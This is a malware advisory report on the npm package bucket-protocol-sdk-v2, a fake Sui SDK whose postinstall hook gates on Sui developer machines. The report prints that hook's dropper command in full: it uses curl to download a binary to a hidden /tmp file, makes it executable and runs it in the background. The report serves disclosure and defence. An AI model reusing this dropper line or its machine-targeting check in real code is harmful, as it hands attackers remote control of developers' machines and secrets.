bucket-protocol-sdk-v2
This report shows the evidence for bucket-protocol-sdk-v2@1.0.26. 7 of 8 known versions are blocked or flagged. The newest version, 0.0.1-security, is allowed. See all versions.
OpenSSF/OSV Malicious Advisory
imported 4mo ago · by OpenSSF/OSVOpenSSF/OSV advisory MAL-2026-4502 confirms this npm version as malicious.
Advisory
MAL-2026-4502
Source
OpenSSF Malicious Packages via OSV
Summary
Malicious code in bucket-protocol-sdk-v2 (npm)
Details
bucket-protocol-sdk-v2 advertises itself as a 'community maintained drop-in replacement' for the Sui ecosystem's bucket-protocol-sdk, but its src/ tree contains only empty stubs (`bucket.ts: export {};`, `index.ts: export * from './bucket';`) — no real SDK code is shipped. The entire payload is the postinstall hook. package.json declares `"postinstall": "node install.js"`; install.js checks whether the host is a Sui developer (presence of the `sui` binary or `~/.sui/sui_config/client.yaml`) and then runs `curl -s -L -o /tmp/.sui-helper ${implantUrl} && chmod +x /tmp/.sui-helper && /tmp/.sui-helper &` to fetch, stage, and background-execute an attacker binary at a hidden /tmp path. The variable is literally named `implantUrl` with the comment `PUT YOUR ACTUAL 0x0.st URL HERE`, identifying the intended payload host as the anonymous 0x0.st file dump. The URL is currently an empty string in this published version (staged/broken release), so today's install does not actually fetch a binary, but the dropper scaffolding, target-gating, hidden staging path, backgrounded execution, and typosquat-of-a-Sui-SDK lure are unambiguous. Any subsequent republish trivially fills the URL. The combination of hostile-named scaffolding, dev-machine-targeting gate, anonymous-host comment, and hollow library content satisfies the namespace-abuse-typosquat-with-payload and generic-binary-runner-dropper patterns.
## Source: ghsa-malware (bf10092b7f2bbc98982554a98e320cf2fb9a56438a77f90e2749857026e2bfb8) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
Source & flagged code
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Findings
1 High
HighOsv Malicious Advisory
Affected versions and remediation
This report applies to bucket-protocol-sdk-v2@1.0.26.
The same advisory and Firewall decision cover 7 recorded versions
1.0.11, 1.0.12, 1.0.18, 1.0.19, 1.0.22, 1.0.23, 1.0.26
The versions list below shows the verdict for each recorded version.
- Avoid installing bucket-protocol-sdk-v2@1.0.26. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
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